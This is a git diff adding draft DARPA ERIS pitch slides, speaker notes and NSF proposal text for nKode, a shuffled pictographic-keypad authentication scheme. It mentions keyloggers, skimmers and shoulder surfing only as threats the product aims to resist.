Adversaries relying on traditional cyber exploits (e.g., credential harvesting) would be "surprised" by its resilience in contested environments. + +How is the problem being addressed today? +Long complex passwords changed every 60-90 days. password can + +What is "new" within your approach as it compares to current practices and describe your unique new insight for advancing the state of the art? +Shuffling icons on a virtual keypad. + +What barriers do you foresee when attempting to advance the state of the art? +Authentication is a difficult technology to change. Arcanum has been pitching nKode to fintech/banks for almost 10 years. Most potential clients want to use nKode. We've had positive feedback, even excitement, from dozens of company (FIS, ...). However nobody wants to be the first to implement it. Despite all the problems we can solve by replacing passwords and PINs, the risk is to high for most companies to be the first to try the technology. + +What is new in your approach and why do you think it will be successful? +We've conducted an independent market acceptance, through User Insight, to see if users would want to use nKode. We were told by the survey team that 35% accepts was a very high score. nKode was preferred by 52% (17% over what's considered high score) of participants over 28% who preferred passcodes and 19% with no preference. + +Briefly state your proposed plan/strategy if funded. +We've developed an nKode application that is geared toward commercial partners. We've developed and deployed OpenID connect applications (nKode as an Identity provider). +We want to develop an application for warfighters at the tactical edge. An application that allows them to easily authenticate with gloves and without biometric authentication, just an ATAC. + + diff --git a/projects/arcanum/DARPA-ERIS/ERIS_Slide_v2.pptx b/projects/arcanum/DARPA-ERIS/ERIS_Slide_v2.pptx new file mode 100644 index 0000000..4e31afb Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/ERIS_Slide_v2.pptx differ diff --git a/projects/arcanum/DARPA-ERIS/ERIS_low_bandwidth.md b/projects/arcanum/DARPA-ERIS/ERIS_low_bandwidth.md new file mode 100644 index 0000000..04ca112 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/ERIS_low_bandwidth.md @@ -0,0 +1 @@ +# ERIS Low Bandwidth diff --git a/projects/arcanum/DARPA-ERIS/Speakers notes.md b/projects/arcanum/DARPA-ERIS/Speakers notes.md new file mode 100644 index 0000000..918088c --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/Speakers notes.md @@ -0,0 +1,24 @@ + +Hello, My name is Donovan Kelly, CTO at Arcanum Technologies. We've developed nKode, a patented pictographic passcode that reinvents authentication—making it more secure and intuitive for tactical edge environments. Arcanum has partnered with the McCrary Institute at Auburn University to leverage their cybersecurity expertise and veteran insights. + +Since their introduction in 1961 with MIT's Compatible Time-Sharing System, passwords have remained the cornerstone of "something you know" authentication. Yet, amid the rapid escalation of cyber threats over the ensuing six decades, this paradigm has undergone little fundamental reinvention. Passwords impose a taxing cognitive burden on warfighters, necessitating the memorization and periodic rotation of 12-16 character sequences every 60-90 days—a process prone to reuse across systems and errors amid high-stress operations. Their vulnerabilities are profound, with breaches occurring at a staggering rate of 95 per second worldwide, rendering them highly susceptible to credential harvesting. At the tactical edge, these deficiencies are amplified by environmental constraints. Inputting credentials while encumbered by tactical gear, such as gloves, proves impractical and often leads to security bypasses in high-risk, low-bandwidth scenarios that also constrain multi-factor authentication. Compounding this, AI-orchestrated attacks from nation-state actors intensify the overall threat landscape, underscoring the urgent need for evolution. + +The state of the art includes static text inputs and biometrics like facial recognition or fingerprints, which work well in controlled environments but falter in real-world tactical scenarios—think low light for iris scans, noise for voice, or gloves blocking fingerprints. Systems like Software-Defined Radios and Tactical Assault Kits integrate Zero Trust and edge computing for better security, but they still rely on vulnerable authentication methods that AI exploits, cognitive electronic warfare, and signals intelligence can crack. This is where nKode steps in—addressing these gaps by advancing beyond static, text-based systems to a visual, resilient alternative. + +nKode aligns with ERIS Topic Area “advanced technologies for improved resilience, efficiency, and effectiveness of strategic systems,” including critical infrastructure and military C2 across all edges. In real-world degraded comms where passwords, OTPs, or push prompts fail or are vulnerable, nKode strengthens authentication with keyboard-less icon challenges that move over tiny or even unencrypted pipes while staying resistant to capture and replay. This yields quick, low-cognitive-load logins under stress and reduces workarounds, keeping tools like Tactical Assault Kits online. The approach supports DARPA’s goal of technological surprise by denying adversaries easy wins from phishing and keylogging and by staying operable when bandwidth and trust are scarce. + +Today, authentication relies on outdated standards, leading to credential reuse and exploitation. Passwords can be easily compromised via reuse, especially at the tactical edge where bandwidth is low and stress is high. Biometrics help but are constrained in field scenarios (e.g., gloves, environmental factors). This results in mission risks, as warfighters may bypass controls. What's new is the dynamic, visual paradigm: icons shuffle per login, mapped to tokenized values via backend cipher. Unlike static passwords or biometrics, nKode prevents reuse (unique icons) and operates in low-bandwidth environments. This compares favorably to current practices by flipping the usability-security trade-off – easier to remember yet more secure. It's TRL 5, and advances SoTA by closing attack vectors like shoulder-surfing. + + +Our unique insight is that stronger security via ease-of-use leads to reliable adoption, improving mission outcomes. Humans recall images better than complex passwords, reducing cognitive load for warfighters. This advances SoTA by integrating AI icons with cryptographic primitives, resisting AI-driven attacks. Unlike current static inputs, nKode's randomized interface ensures no two logins map the same – a paradigm shift for resilience in strategic systems. + +Barriers include institutional inertia—despite excitement from fintech like FIS (Fidelity National Information Services), no one wants to pioneer due to perceived risks. In DoD, integrating with C2 systems or ATACs could face hurdles. Scaling icon generation is key: we need millions or billions of AI-generated icons that are unique and psychologically neutral (free of biases that could make selections predictable), ensuring no AI can train on patterns for attacks. We'll address this via human factors expertise (as per prior feedback), field testing, and ongoing R&D—nKode's design inherently resists many exploits, but this requires advanced AI safeguards. + +Success is backed by data: User Insight's survey showed exceptional preference (52%), far above norms, indicating strong usability. Our team's expertise (Army/Navy vets) and partnerships ensure execution. nKode's success lies in its intuitive design – users remember one nKode for all, with auto-rotation. This will drive adoption, per ERIS goals, leading to safer operations. + +If funded, we'll pivot our existing commercial app (with OpenID/OAuth support) to defense needs. Develop a glove-friendly version for tactical edges, sans biometrics. Strategy: Collaborate with McCrary for demos and integration. Budget for AI enhancements and testing. This aligns with ERIS's rapid acquisition, transitioning from idea to prototype for enhanced strategic system resilience. + +The nKode team is a unified collaboration between Arcanum Technology LLC and Auburn University’s McCrary Institute for Cyber and Critical Infrastructure Security. Brooks Brown, as the inventor and Co-founder of nKode, provides the foundational vision and architectural expertise essential for driving this innovative authentication solution forward. His role as Chief Development Architect positions him uniquely to guide the project's technical direction. Dr. Craig Whittinghill serves as the Deputy Director for Applied Research and Services at the McCrary Institute. As a Navy Veteran with 29 years of service as a Naval Intelligence Officer, he brings extensive leadership in high-stakes cyber and intelligence operations. Jonathan Sherk is a Principal Cybersecurity Research Engineer at Auburn University’s McCrary Institute. He leads a USDA grant on rural cybersecurity and co-leads Alabama’s State and Local Cybersecurity Grant Program. As an NSA-certified, CYBERCOM-accredited Red Team Lead, he has performed adversarial assessments on EUDs and Army products at the Threat Systems Management Office. Dr. Luke Oeding, an Associate Professor in the Department of Mathematics and Statistics at Auburn University, contributes advanced algebraic and computational expertise critical for nKode's underlying mathematical frameworks. His research focuses on applications of algebraic geometry and representation theory to tensors, quantum information processing, signal processing, and collaborative navigation. Dr. Farah Kandah, an IEEE Senior Member and Associate Professor in the Department of Computer Science and Software Engineering at Auburn University, as well as a faculty affiliate with the McCrary Institute, provides specialized knowledge in cybersecurity, networking, and emerging technologies like IoT and quantum credentials. His research encompasses distributed computing, computer security and reliability, computer communications (networks), and more. Lastly me. I have over seven years of software development experience across defense, healthcare, media, and authentication sectors, including prior work as a Space Ground Software Engineer at Lockheed Martin. In my current role as CTO of Arcanum Technology LLC, I am actively developing new ways to apply nKode to a variety of authentication problems. + + +nKode offers significant impact in both defense and commercial markets, emphasizing the "so what" through practical applications and outcomes. In defense, nKode targets tactical edge challenges where current systems (e.g., passwords/biometrics) falter in DDIL scenarios (Denied, Disrupted, Intermittent, and Limited bandwidth/comms): Warfighters authenticate to secure comms or field kits via intuitive icons, resilient without full encryption, reducing bypass risks and improving continuity amid nation-state threats like signals intelligence. The impact? Stronger defenses, mission success, and warfighter safety. Commercially, it addresses massive markets: Replaces vulnerable passwords in banking (reducing phishing losses) or healthcare (securing patient data), with dual-use for infrastructure like utilities. The "so what": nKode closes usability-security gaps, potentially mitigating the $10.5T in annual global cybercrime costs by 2025, while enabling Zero Trust across sectors. If funded, we'll validate these via DoD pilots and commercial integrations for rapid transition. \ No newline at end of file diff --git a/projects/arcanum/DARPA-ERIS/darpa_eris_slides.md b/projects/arcanum/DARPA-ERIS/darpa_eris_slides.md new file mode 100644 index 0000000..9f47f39 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/darpa_eris_slides.md @@ -0,0 +1,282 @@ +--- +marp: true +theme: default +paginate: true +--- + + +
+ +
+ +
+ +
nKode
+

Pictographic passcodes for resilient authentication at the edge

+
+

Arcanum Technologies + Auburn University’s McCrary Institute

+ + + +--- +# Defining the Problem + +- **Historical Context** + - Passwords as cornerstone of "something you know" authentication since 1961 (MIT's Compatible Time-Sharing System) + - No major reinvention in over 60 years, despite evolving threats +- **Key Problems in Authentication** + - High cognitive load: 12-16 character passwords rotated every 60-90 days; prone to reuse and errors under stress + - Vulnerabilities: Hacked at 95 per second globally; susceptible to phishing, keyloggers, and credential harvesting + - **Tactical Edge Challenges:** Difficult with tactical gear (e.g., gloves); bypassed in high-risk, low-bandwidth environments; limits multi-factor authentication (MFA) + + + +--- + +# Current State-of-the-Art + +- **Relies on static inputs:** Keyboards, text-based passwords +- **Biometrics (facial/iris/fingerprint/voice):** Effective in ideal conditions but constrained in low-light, noisy, or gloved scenarios +- **Current Tech:** Zero Trust, edge computing, AI-driven security in systems like Tactical Assault Kits, but compromised by AI attacks, signals intelligence, and nation-state exploits + + + +--- + + + +# nKode Advances the State-of-the-Art + +- **What’s New in nKode’s Approach** + - Patented virtual keypad with shuffling icons; AI-generated, user-unique icon sets +- **Vs. Passwords:** No text entry; strong guessing resistance with compact inputs + - Zero-trust architectures leveraging ChaCha20 to drive shuffling and OPAQUE (aPAKE) for mutual authentication over low-trust links + - Resilient to keyloggers and replay; auto-rotation without user action; shoulder-surf resistant +- **Why It Matters at the Edge** + - Works in low-bandwidth or contested environments + - Cuts cognitive load and speeds access, reducing bypass behavior + - Preserves mission continuity for edge tools and C2 workflows + + +--- +# How nKode Aligns with DARPA ERIS + +- **Topic area fit:** Advances resilience, efficiency, and effectiveness for strategic systems across critical infrastructure and military C2 at strategic, command, operational, and tactical edges. +- **Mission tie:** Supports DARPA’s aim to create technological surprise for U.S. national security. +- **nKode’s role:** Reinvents “something you know” with keyboard-less, AI-generated icons to keep auth working in contested or low-bandwidth networks. +- **Surprise element:** Resilient to credential reuse and keyloggers; can operate over unencrypted or bandwidth-constrained links without exposing secrets. +- **Operational benefits:** Faster, low-cognitive-load access under stress; reduces bypasses and maintains mission continuity for edge tools like TAK. +- **Architectural alignment:** Zero Trust, edge computing, and secure operations in dynamic, degraded conditions. +- **Impact:** Hardens C2 and critical infrastructure against AI-driven credential harvesting and disruption in contested environments. + + + + + +--- +# Why nKode Will Succeed + +- **Pitch History:** Winner of the FIS VC and Venturetech Pitch competitions +- **Technical:** Integration with legacy DoD systems; user training; device compatibility (rugged tablets) +- **Evolving Threats:** Advanced AI shoulder-surfing; scaling to millions/billions of unique, psychologically neutral icons to prevent AI prediction of user selections +- **Mitigation:** Leverage ERIS for rapid pathways; partner with McCrary Institute for validation +- **Market Validation:** Independent survey by User Insight – 62% prefer nKode (vs. 23% passwords) +- **Team Strength:** Veterans with cyber ops experience; TRL 4 +- **Dual-Use Potential:** Defense (tactical edge) + Commercial +- **Evidence:** Exceeds benchmarks; low friction deployment + + +--- +# Proposed Plan/Strategy if Funded + +- **Target:** TRL 4 → TRL 6 (operationally relevant prototype) +- **De-risking milestone 1 — independent validation:** Obtain an **independent, implementation-agnostic** review of the system’s **zero-trust architecture**, including threat model, assumptions, and security claims. +- **De-risking milestone 2 — implementation testing:** Conduct **penetration testing / red-teaming** of the prototype to uncover practical vulnerabilities and harden the deployed system under tactical-edge constraints (low bandwidth, intermittent connectivity). +- **De-risking milestone 3 — scale enabler:** Deliver a repeatable pipeline capable of producing **millions to billions** of **psychologically neutral** icons to support scale without introducing bias. +- **Result:** A validated design and hardened, scalable prototype ready for operationally relevant evaluation. + +--- +# Arcanum and McCrary Technical Team + +
+
+ Brooks Brown headshot +
Brooks Brown
+
Chief Development Architect, Co-founder (nKode inventor)
+
+
+ Dr. Craig Whittinghill headshot +
Dr. Craig Whittinghill
+
Deputy Director, McCrary Institute (USN Veteran)
+
+
+ Jonathan Sherk headshot +
Jonathan Sherk
+
Principal Cybersecurity Research Engineer (NSA-cert Red Team Lead)
+
+
+ Dr. Luke Oeding headshot +
Dr. Luke Oeding
+
Associate Professor, Math & Statistics (Algebraic/Computational)
+
+
+ Dr. Farah Kandah headshot +
Dr. Farah Kandah
+
Associate Professor, CSSE (Cybersecurity, Networks, IoT)
+
+
+ Donovan Kelly headshot +
Donovan Kelly
+
CTO, Arcanum Technology (Defense, Healthcare, Auth)
+
+
+ + + +--- + + +# Team Bios + +- **Brooks Brown**, as the inventor and Co-founder of nKode, provides the foundational vision and architectural expertise essential for driving this innovative authentication solution forward. His role as Chief Development Architect positions him uniquely to guide the project's technical direction. +- **Dr. Craig Whittinghill** serves as the Deputy Director for Applied Research and Services at the McCrary Institute. As a Navy Veteran with 29 years of service as a Naval Intelligence Officer, he brings extensive leadership in high-stakes cyber and intelligence operations. +- **Jonathan Sherk** is a Principal Cybersecurity Research Engineer at Auburn University’s McCrary Institute. He leads a USDA grant on rural cybersecurity and co-leads Alabama’s State and Local Cybersecurity Grant Program. As an NSA-certified, CYBERCOM-accredited Red Team Lead, he has performed adversarial assessments on EUDs and Army products at the Threat Systems Management Office. +- **Dr. Luke Oeding**, an Associate Professor in the Department of Mathematics and Statistics at Auburn University, contributes advanced algebraic and computational expertise critical for nKode's underlying mathematical frameworks. His research focuses on applications of algebraic geometry and representation theory to tensors, quantum information processing, signal processing, and collaborative navigation. +- **Dr. Farah Kandah**, an IEEE Senior Member and Associate Professor in the Department of Computer Science and Software Engineering at Auburn University, as well as a faculty affiliate with the McCrary Institute, provides specialized knowledge in cybersecurity, networking, and emerging technologies like IoT and quantum credentials. His research encompasses distributed computing, computer security and reliability, computer communications (networks), and more. +- **Donovan Kelly** brings software development experience across defense, healthcare, media, and authentication sectors, including prior work at Lockheed Martin Space. In my current role as CTO of Arcanum Technology LLC, I am actively developing new ways to apply nKode to a variety of authentication problems. + + +--- + +# Defense and Commercial Market Use Case/Impact + +- **Defense Use Cases** + - Tactical edge authentication: Secure access to Tactical Assault Kits/comms platforms in DDIL environments + - Warfighter resilience: Keyboard-less icons reduce errors under stress; resists keyloggers, phishing, AI attacks + - Zero Trust enablement: Auth over unencrypted/low-bandwidth channels; integrates with C2 systems/edge compute +- **Commercial Use Cases** + - Banking/Healthcare: Replaces passwords for online accounts; phishing-resistant, no credential reuse + - Dual-Use Potential: Scales to consumer apps; reduces MFA friction in high-volume sectors +- **Market Impact ("So What")** + - Enhances mission success/safety: Faster logins, fewer vulnerabilities in contested ops + - Broad Adoption: Safeguards critical ops across sectors + + + +--- +# Partnering with DARPA for Authentication's Next Leap + +- **Historical Full Circle**: In 1961, DARPA (as ARPA) funded MIT's Project MAC, birthing the Compatible Time-Sharing System (CTSS), the origin of computer passwords. Now, as authentication faces escalating nation-state threats, nKode represents its disruptive evolution, closing vulnerabilities in denied, degraded, intermittent, and low-bandwidth (DDIL) scenarios. +- **DARPA as Prime Mover**: DARPA's mission to make pivotal investments in high-risk, high-reward innovations for national security makes you the ideal partner. Your support can accelerate nKode from TRL 4 to operational deployment, enabling revolutionary advances in Zero Trust and edge computing for warfighters. +- **Why We Need DARPA**: As our strategic catalyst, your funding, expertise, and ecosystem will scale nKode globally, ensuring resilient authentication safeguards missions and lives. This is our call to collaborate: Join us in evolving what you pioneered. + + diff --git a/projects/arcanum/DARPA-ERIS/darpa_eris_slides.pptx b/projects/arcanum/DARPA-ERIS/darpa_eris_slides.pptx new file mode 100644 index 0000000..d45b1e2 Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/darpa_eris_slides.pptx differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/DonovanKelly.png b/projects/arcanum/DARPA-ERIS/eris_imgs/DonovanKelly.png new file mode 100644 index 0000000..b5bb2ff Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/DonovanKelly.png differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/arcanum-logo.png b/projects/arcanum/DARPA-ERIS/eris_imgs/arcanum-logo.png new file mode 100644 index 0000000..aa07349 Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/arcanum-logo.png differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/brown.jpg b/projects/arcanum/DARPA-ERIS/eris_imgs/brown.jpg new file mode 100644 index 0000000..2152cf9 Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/brown.jpg differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/cwhit.jpg b/projects/arcanum/DARPA-ERIS/eris_imgs/cwhit.jpg new file mode 100644 index 0000000..4eadb1a Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/cwhit.jpg differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/jsherk.png b/projects/arcanum/DARPA-ERIS/eris_imgs/jsherk.png new file mode 100644 index 0000000..4f93ce8 Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/jsherk.png differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/kandah.jpg b/projects/arcanum/DARPA-ERIS/eris_imgs/kandah.jpg new file mode 100644 index 0000000..b06bb90 Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/kandah.jpg differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/mccrary-logo.jpg b/projects/arcanum/DARPA-ERIS/eris_imgs/mccrary-logo.jpg new file mode 100644 index 0000000..63ba1f8 Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/mccrary-logo.jpg differ diff --git a/projects/arcanum/DARPA-ERIS/eris_imgs/oeding.jpg b/projects/arcanum/DARPA-ERIS/eris_imgs/oeding.jpg new file mode 100644 index 0000000..9530020 Binary files /dev/null and b/projects/arcanum/DARPA-ERIS/eris_imgs/oeding.jpg differ diff --git a/projects/arcanum/DARPA-ERIS/slides.md b/projects/arcanum/DARPA-ERIS/slides.md new file mode 100644 index 0000000..f789034 --- /dev/null +++ b/projects/arcanum/DARPA-ERIS/slides.md @@ -0,0 +1,168 @@ +--- +marp: true +--- + +# nKode + + + +--- + +# Defining the Problem + +- Historical Context + - Passwords as cornerstone of "something you know" authentication since 1961 (MIT's Compatible Time-Sharing System) + - No major reinvention in over 60 years, despite evolving threats +- Key Problems in Authentication + - High cognitive load: 12-16 character passwords rotated every 60-90 days; prone to reuse and errors under stress + - Vulnerabilities: Hacked at 95 per second globally; susceptible to phishing, keyloggers, and credential harvesting + - Tactical Edge Challenges: Difficult with tactical gear (e.g., gloves); bypassed in high-risk, low-bandwidth environments; limits multi-factor authentication (MFA) + + + +--- + +# Current State of the Art + +- Relies on static inputs: Keyboards, text-based passwords, and mental models outdated for modern threats +- Alternatives like biometrics (facial/iris/fingerprint/voice): Effective in ideal conditions but constrained in low-light, noisy, or gloved scenarios +- Emerging Tech: Zero Trust, edge computing, AI-driven security in systems like Tactical Assault Kits—but compromised by AI attacks, signals intelligence, and nation-state exploits + + + +--- + + + +# How nKode Aligns with DARPA ERIS + +- Topic area fit: Advances resilience, efficiency, and effectiveness for strategic systems across critical infrastructure and military C2 at strategic, command, operational, and tactical edges. +- Mission tie: Supports DARPA’s aim to create technological surprise for U.S. national security. +- nKode’s role: Reinvents “something you know” with keyboard-less, AI-generated icons to keep auth working in contested or low-bandwidth networks. +- Surprise element: Resilient to credential reuse and keyloggers; can operate over unencrypted or bandwidth-constrained links without exposing secrets. +- Operational benefits: Faster, low-cognitive-load access under stress; reduces bypasses and maintains mission continuity for edge tools like TAK. +- Architectural alignment: Complements Zero Trust, edge computing, and secure operations in dynamic, degraded conditions. +- Impact: Hardens C2 and critical infrastructure against AI-driven credential harvesting and disruption in contested environments. + + + +--- + + + +# Current Approaches vs. nKode + +- How the Problem Is Addressed Today + - Long, complex passwords (12–16 chars), rotated every 60–90 days + - Prone to reuse, keyloggers, shoulder surfing; high cognitive load under stress + - Requires keyboards (impractical with tactical gear); MFA often needs secure channels + - High global breach cadence; controls get bypassed in high-risk environments + - Biometrics (face/iris/fingerprint): fragile under duress, dirt, gloves, or low light +- What’s New in nKode’s Approach + - Patented virtual keypad with shuffling icons; AI-generated, user-unique icon sets +- Vs. Passwords: No text entry; strong guessing resistance with compact inputs +- Vs. Biometrics: No special hardware; reliable under pressure and harsh conditions + - Backend uses a CSPRNG (e.g., ChaCha20) to drive shuffling over low-trust links + - Resilient to keyloggers and replay; auto-rotation without user action; shoulder-surf resistant + - Field-ready path with TRL 5 progression +- Why It Matters at the Edge + - Works in low-bandwidth or contested environments + - Cuts cognitive load and speeds access, reducing bypass behavior + - Preserves mission continuity for edge tools and C2 workflows + + + +--- + +# Foreseen Barriers + +- Adoption Risk: Authentication changes are high-risk; companies hesitant to be first adopters +- Pitch History: Positive feedback from dozens (e.g., FIS, banks) over 10 years, but no implementations +- Technical: Integration with legacy DoD systems; user training; device compatibility (rugged tablets) +- Evolving Threats: Advanced AI shoulder-surfing; scaling to millions/billions of unique, psychologically neutral icons to prevent AI prediction of user selections +- Mitigation: Leverage ERIS for rapid pathways; partner with McCrary Institute for validation + + + +--- + +# Why nKode Will Succeed + +- Market Validation: Independent survey by User Insight – 52% prefer nKode (vs. 28% passwords) +- High Acceptance: 17% above "very high" benchmark (35%) +- Team Strength: Veterans with cyber ops experience; TRL 5 proven +- Dual-Use Potential: Defense (tactical edge) + Commercial +- Evidence: Exceeds benchmarks; low friction deployment + + + +--- + +# Proposed Plan/Strategy if Funded + +- Phase 1: Adapt commercial app for tactical edge; integrate with ATACs/Tactical Assault Kits +- Phase 2: Field validation/testing in simulated environments; address barriers (training/integration) +- Phase 3: Advance to TRL 6-7; deploy OpenID Connect for DoD systems +- Timeline: 12-18 months; focus on low-bandwidth resilience +- Outcomes: Prototype for warfighters; pathway to commercialization + + + +--- + +# Arcanum and McCrary Technical Team + +pictures + + + +--- + + + +# Defense and Commercial Market Use Case/Impact + +- Defense Use Cases + - Tactical edge authentication: Secure access to Tactical Assault Kits/comms platforms in DDIL environments + - Warfighter resilience: Keyboard-less icons reduce errors under stress; resists keyloggers, phishing, AI attacks + - Zero Trust enablement: Auth over unencrypted/low-bandwidth channels; integrates with C2 systems/edge compute +- Commercial Use Cases + - Banking/Healthcare/Infrastructure: Replaces passwords for online accounts; phishing-resistant, no credential reuse + - Dual-Use Potential: Scales to consumer apps; reduces MFA friction in high-volume sectors +- Market Impact ("So What") + - Enhances mission success/safety: Faster logins, fewer vulnerabilities in contested ops + - Broad Adoption: Safeguards critical ops across sectors + + diff --git a/projects/arcanum/NSF/1.16.26 NSF meeting.md b/projects/arcanum/NSF/1.16.26 NSF meeting.md new file mode 100644 index 0000000..038f415 --- /dev/null +++ b/projects/arcanum/NSF/1.16.26 NSF meeting.md @@ -0,0 +1,3 @@ +- Maybe a simple table that shows our claim of 5 observation +- Need to show why we are different: we don't specify an exact code we are probablistic +- Thyaga thinks this is weak: Defensible competitive advantage. we need to explain why we are different from other systems \ No newline at end of file diff --git a/projects/arcanum/NSF/Clarifying nKode v2.md b/projects/arcanum/NSF/Clarifying nKode v2.md new file mode 100644 index 0000000..f1f2d12 --- /dev/null +++ b/projects/arcanum/NSF/Clarifying nKode v2.md @@ -0,0 +1,42 @@ +Proposed high-risk technical innovation: +nKode is an observation-resistant “something-you-know” authentication method that replaces direct entry of a static secret (a PIN or password). The user’s long-term secret is a short sequence of memorable attributes (for example four icons). At each authentication, the terminal displays a shuffled layout that groups many attributes into a small number of selectable keys. The user does not enter their secret attributes directly. Instead, they enter the key IDs that currently contain their secret attributes. + +Example: +Secret attributes: 😍🤢🤐🥸 +``` + _key1_ _key2_ +| 😃😍 | | 🥸🤩 | +| 😇😎 | | 🤓🥳 | + ----- ----- + _key3_ _key4_ +| 🥺🤯 | | 🫥🤥 | +| 😡🥶 | | 🤢🤐 | + ----- ----- +enter: 1,4,4,2 +``` +After authentication, the keypad is shuffled. +``` + _key1_ _key2_ +| 🫥😍 | | 🥸🤥 | +| 😇🤐 | | 🤢🥳 | + ----- ----- + _key3_ _key4_ +| 😃🤯 | | 🥺🤩 | +| 😡😎 | | 🤓🥶 | + ----- ----- +enter: 1,2,1,1 +``` +The user experience remains “type four digits,” but the meaning of those digits changes each time based on the on-screen challenge. + +Why this is materially different from prior studied approaches: +We recognize that observation-resistant PIN entry and graphical password systems have been studied extensively. nKode’s novelty is not “using pictures,” and not merely “shuffling a keypad.” The core difference is the combination of (a) a stable, memorable secret defined over attributes, (b) randomized grouping of a larger displayed attribute set into a small fixed input alphabet (key IDs), and (c) parametrizable resistance to capture and inference via repeated sessions, while remaining compatible with high-throughput PoS and ATM constraints (small screens, fast entry, minimal user training, no extra sensors). + +Security motivation and threat model fit for PoS: +Today’s PoS skimmers typically steal card data and capture a static ZIP code or PIN. With nKode, a simple tap-and-log skimmer that records key presses is insufficient because the key press sequence is only meaningful when paired with the corresponding on-screen challenge. An attacker would need to add a camera (or equivalent screen capture) and then solve an inference problem across multiple observations of the same user to recover the underlying attributes. Based on our work with McCrary, we target configurations where an attacker needs on the order of 5 or more sequential observations to reliably recover a user’s nKode. +*comparied to static data....* + +High-risk, high-reward R&D: +The technical risk is achieving a strong security–usability frontier concurrently: fast entry time, low error rate, accessibility variants, and quantified resistance to recording and inference attacks. Our Phase I work will produce (1) formal parameterization of layouts, group sizes, and session policies, (2) empirical usability results on realistic PoS/ATM workflows, and (3) measured attack resistance against key-logging, shoulder surfing, and screen-recording plus inference baselines. + +Defensible competitive advantage: +Our patent claims cover a broad design space of attribute types (images/emojis, alphanumeric symbols, audio cues for visually impaired users, tactile patterns such as braille-like textures) and the grouping/shuffling mechanism across spatial, auditory, tactile, or label-based key groupings. This makes “simple re-skins” and modality pivots harder for fast followers. \ No newline at end of file diff --git a/projects/arcanum/NSF/Clarifying nKode v3.md b/projects/arcanum/NSF/Clarifying nKode v3.md new file mode 100644 index 0000000..f95b68c --- /dev/null +++ b/projects/arcanum/NSF/Clarifying nKode v3.md @@ -0,0 +1,64 @@ +_Please clarify the specific new high-risk technical innovation you are proposing to develop, and explain how you will be able to create a defensible competitive advantage. Many systems of this general type have been studied in the past._ + +??? of 3,500 characters w/ spaces +Proposed high-risk technical innovation:  + +nKode is an observation-resistant “something-you-know” authentication method that replaces direct entry of a static secret (a PIN or password). The user’s long-term secret is a short sequence of memorable attributes (for example four icons). At each authentication, the terminal displays a randomized layout to protect against key loggers and social engineering attacks, such as shoulder surfing, that groups many attributes into a small number of selectable keys. The user does not enter their secret attributes directly. Instead, they enter the key IDs that currently contain their secret attributes. + +Example: + +Secret attributes: 😍🤢🤐🥸 + + _key1_   _key2_ + +| 😃😍 |  | 🥸🤩 | + +| 😇😎 |  | 🤓🥳 | + + -----          ----- + + _key3_   _key4_ + +| 🥺🤯 |  | 🫥🤥 | + +| 😡🥶 |  | 🤢🤐 | + +enter: 1,4,4,2 + +After authentication, the keypad is shuffled. + + _key1_   _key2_ + +| 🫥😍 |  | 🥸🤥 | + +| 😇🤐 |  | 🤢🥳 | + + -----          ----- + + _key3_   _key4_ + +| 😃🤯 |  | 🥺🤩 | + +| 😡😎 |  | 🤓🥶 | + + -----          ----- + +enter: 1,2,1,1 + +The user experience remains “type four digits,” but the meaning of those digits changes each time based on the on-screen challenge. + +Why this is materially different from prior studied approaches: + +We recognize that observation-resistant PIN entry methods and graphical password families have been studied extensively. nKode differentiates on two practical dimensions that matter in PoS/ATM settings: + +(a) Fast, low-friction entry compatible with checkout throughput. Unlike many shoulder-surfing-resistant schemes that require multiple challenge rounds or complex mental transformations, nKode preserves a “type-a-short-code” interaction: users enter a short sequence of key IDs derived from a single on-screen layout. While we will quantify entry time and error rate in Phase I, prior work on shuffled keypads suggests that small increases in entry time relative to a static keypad can be achieved without fundamentally changing the interaction model. + +(b) Designed to remain resistant under multiple recorded observations (not just one). A common limitation of observation-resistant schemes is that they degrade quickly when an attacker can record several sessions. In contrast, based on our work with McCrary, we are targeting nKode configurations in which an attacker must record on the order of 5 or more sequential authentications of the same user’s nKode to recover the underlying secret with high confidence. + +Defensible competitive advantage: + +Our defensible advantage is that our IP covers a family of nKode implementations, not a single keypad skin. The same mechanism can ship in regulated payment settings as a virtual keypad that mirrors physical keys, and in software and accessibility variants by grouping and reshuffling visual, alphanumeric, audio, or tactile attributes. Because the claims cover both the attribute types and the grouping mechanism that defines the challenge, a fast follower cannot avoid the core invention through cosmetic substitutions (for example, swapping emojis for letters/numbers). + +Future Work: + +nKode is not limited to PoS and ATMs. It can replace passwords in apps and websites by presenting unique AI-generated icons for each user. This eliminates password reuse, keyloggers, and dictionary attacks. These properties make it a strong candidate for healthcare (where authentication happens frequently on shared or semi-public workstations) and defense (where adversaries may capture keystrokes and recorded logins). \ No newline at end of file diff --git a/projects/arcanum/NSF/Clarifying nKode v5.md b/projects/arcanum/NSF/Clarifying nKode v5.md new file mode 100644 index 0000000..f15a2a7 --- /dev/null +++ b/projects/arcanum/NSF/Clarifying nKode v5.md @@ -0,0 +1,62 @@ +_Please clarify the specific new high-risk technical innovation you are proposing to develop, and explain how you will be able to create a defensible competitive advantage. Many systems of this general type have been studied in the past._ + +??? of 3,500 characters w/ spaces +Proposed high-risk technical innovation:  + +nKode is an observation-resistant “something-you-know” authentication method that replaces direct entry of a static secret (a PIN or password). The user’s long-term secret is a short sequence of memorable attributes (for example four icons). At each authentication, the terminal displays a randomized layout to protect against key loggers and social engineering attacks, such as shoulder surfing, that groups many attributes into a small number of selectable keys. The user does not enter their secret attributes directly. Instead, they enter the key IDs that currently contain their secret attributes. +Example: 